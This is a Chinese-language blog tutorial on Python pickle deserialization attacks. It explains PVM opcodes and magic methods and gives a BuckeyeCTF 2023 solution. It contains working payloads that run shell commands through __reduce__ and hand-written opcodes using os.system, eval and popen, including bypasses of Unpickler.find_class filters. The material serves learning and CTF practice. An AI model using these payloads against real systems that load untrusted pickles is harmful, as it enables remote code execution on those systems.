python反序列化

Last updated on September 27, 2024 am

基础

基于php反序列化的思路学习python反序列化。

Python 中最常用的序列化模块是 pickle 模块。

反序列化则使用pickle 模块的 load() 函数反序列化存储在文件中的 Python 对象。

Python序列化和反序列化例子

1
2
3
4
#1.py
class test:
def __init__(self):
self.people = 'lituer'
1
2
3
4
5
6
7
8
9
10
11
#2.py
import pickle
from 1 import test

a = test()
serialized = pickle.dumps(a) #用python2执行脚本可以直接得到操作码
print(serialized)
#b'\x80\x03csecret\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.'
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.people)
#lituer
1
2
3
4
5
6
#序列化
pickle.dump(文件)
pickle.dumps(字符串)
#反序列化
pickle.load(文件) 、#pickle.load(open('shell.pickle'))
pickle.loads(字符串)
1
2
3
4
5
6
7
8
9
给同文件的类属性赋值
b'''(c__main__
people
S'a'
S'man'
S'1'
o.'''

直接写值就行了

上传.pkl文件进行dump

BuckeyeCTF 2023 Text Adventure API代码片断

1
2
3
4
5
6
7
8
9
10
11
12
if 'file' not in request.files:
return jsonify({"message": "No file part"})
file = request.files['file']
if file and file.filename.endswith('.pkl'):
try:
loaded_session = pickle.load(file)
session.update(loaded_session)
except:
return jsonify({"message": "Failed to load save game session."})
return jsonify({"message": "Game session loaded."})
else:
return jsonify({"message": "Invalid file format. Please upload a .pkl file."})

这个地方要能够使pickle.load()解析正确做法: 要写一个类,不然会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import pickle

url = 'https://text-adventure-api.chall.pwnoh.io/api/load'

class exp(object):
def __reduce__(self): #这个方法在序列化的时候会被调用
return (eval, ("__import__('os').popen('cat flag.txt').read()",))


q = exp()
data = {"current_location": q}
a = pickle.dumps(data)
with open('data.pkl','wb') as f:
f.write(a)
file = {"file": open('data.pkl','rb')}
r = requests.post(url=url, files=file)
print(r.text)

PVM

我们在使用pickler的时候,我们要序列化的内容,必须经过PVM,Pickle Virtual Machine (PVM)是Python语言中的一个虚拟机,用于序列化和反序列化Python对象。它是Python标准库中的一部分,由Python的pickle模块提供支持。下面是Pickle Virtual Machine的运行原理:

  1. 生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。
  2. 反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过Pickle Virtual Machine来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。
  3. 执行操作码:Pickle Virtual Machine支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。
  4. 构造Python对象:当操作码序列被完全执行后,Pickle Virtual Machine会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。

组成

指令处理器、栈区和内存区。

  1. 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到.这个结束符.后停止。最终留在栈顶的值将被作为反序列化对象返回。
  2. 栈区:用 list 实现的,被用来临时存储数据、参数以及对象。
  3. 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。

注意:

​ (1)操作码是单字节的
​ (2)带参数的指令用换行符定界

协议

PVN总共有6种协议:v0-v5

从序列化的字节可以判断出是哪种协议,v2-v5的字节都是\x80\x0版本号的形式

而v0-v1则都是以ccopy_reg\n_reconstructor\n开头

opcode(操作码)

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

pickletools

pickle规定了pickletools便于人工解读opcode

1
2
3
pickletools.dis(pickle, out=None, memo=None, indentlevel=4, annotate=0)#将 pickle 的符号化反汇编数据输出到文件类对象
pickletools.genops(pickle) #提供包含 pickle 中所有操作码的 iterator,返回一个 (opcode, arg, pos) 三元组的序列
pickletools.optimize(picklestring) #在消除未使用的 `PUT` 操作码之后返回一个新的等效 pickle 字符串。

魔术方法

__reduce__()

对应opcode:R

通过重写__reduce__()使得序列化时按照重写的方式进行。

__reduce__()定义的函数需要返回一个字符串或者元组,但返回元组(callable, ([para1,para2...])[,...])时,进行反序列化会调用callable(para,...)

程序有import os

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class EXP():
def __reduce__(self):
command=r"whoami"
return (os.system,(command,)) #第一个参数是命令,第二个参数是元组作为命令的参数

p=EXP()
opcode=pickle.dumps(p)
print(opcode)

程序没有import os

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64

class EXP():
def __reduce__(self):
command=r"__import__('os').popen('cat /flag').read()"
return (eval,(command,)) #第一个参数是命令,第二个参数是元组作为命令的参数

p=EXP()
opcode=pickle.dumps(p)
opcode=base64.b64encode(opcode)
print(opcode)

__repr__()

通过重写该函数,打印实例化对象时会输出__repr__返回的内容,前提是没有写__str__,否则会调用成__str__

1
2
3
4
5
6
7
8
9
class CLanguage:
def __init__(self):
self.name = "C语言中文网"
self.add = "http://c.biancheng.net"
def __repr__(self):
return "CLanguage[name="+ self.name +",add=" + self.add +"]"
clangs = CLanguage()
print(clangs)
#CLanguage[name=C语言中文网,add=http://c.biancheng.net]

__eq__()

当进行两个类比较时会自动调用

1
result == people(b.name, b.sex, b.age)

__setstate__()

反序列化时调用__setstate__

__getstate__()

被序列化时调用__getstate__

必须返回一个字典

pickle反序列化漏洞利用思路

全局变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
'''
#secret.py
secret="ikun"
'''
import pickle
import secret

print("secret变量的值为:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'microblacker'
db.'''
hack=pickle.loads(opcode)

print("secret变量的值为:"+secret.secret)

#secret变量的值为:ikun
#secret变量的值为:microblacker

全局变量引入

1
2
#secret.py
pwd=123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import secret
import pickle
import pickletools

class secret:
pwd = "microblacker"

class Test:
def __init__(self):
self.pwd = secret.pwd

test = Test()

payload1=b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\nVmicroblacker\nsb.'
p=pickle.loads(payload1)
print(p.pwd) #microblacker
#取消secret注释
payload2=b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVpwd\np6\nI123\nsb.'
p=pickle.loads(payload2)
print(p.pwd) #123
1
2
3
4
b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\nVmicroblacker\nsb.'
这句通过s指令形成键值{'pwd':'microblacker'}
b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
这句则通过s指令形成键值{'pwd':'secret.pwd'} 并且是全局变量

命令执行

通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式。可以依靠四个指令来完成:R,i,o,b

R

选择栈上的第一个对象作为函数、第二个对象作为参数,然后调用该函数

1
2
3
4
opcode=b'''cos
system
(S'whoami'
tR.'''

i

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

1
2
3
4
opcode=b'''(S'whoami'
ios
system
.'''

o

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

1
2
3
4
opcode=b'''(cos
system
S'whoami'
o.'''

b +__setstate__()

1
2
3
4
5
6
import pickle
class animal:
def __init__(self):
self.animal="dog"
a=b'\x80\x03c__main__\nanimal\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
b=pickle.loads(a)

过滤绕过

过滤R

利用其他指令绕过

过滤变量名

双exec绕过

1
2
3
4
b'''(S'exec('admin.se'+'cret="admin"')'
i__builtin__
exec
.'''

绕过Unpickler.find_class()

只用c对builtin进行操作来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
opcode=b'''cbuiltins
getattr
p0 #取到内置函数 getattr(),用于获取对象的属性。
(cbuiltins
dict
S'get'
tRp1 #取到builtins.dict
cbuiltins
globals
)Rp2 # getattr(dict, 'get')
00g1
(g2
S'__builtins__' # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0 #getattr(__builtins__, 'eval')
(g3
S'eval'
tR(S'__import__("os").system("calc")' # 取到 eval 然后实现 RCE
tR.
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
opcode=b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")'
tR.
'''

绕过R,使用o

1
2
b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'
'''

编码绕过

S'flag' 可以替换为S'\x66\x6c\x61\x67'或者V'\u0066\u006C\u0061\u0067'

参考资料

https://tttang.com/archive/1885/

https://goodapple.top/archives/1069

https://forum.butian.net/share/1929


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/08/28/python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!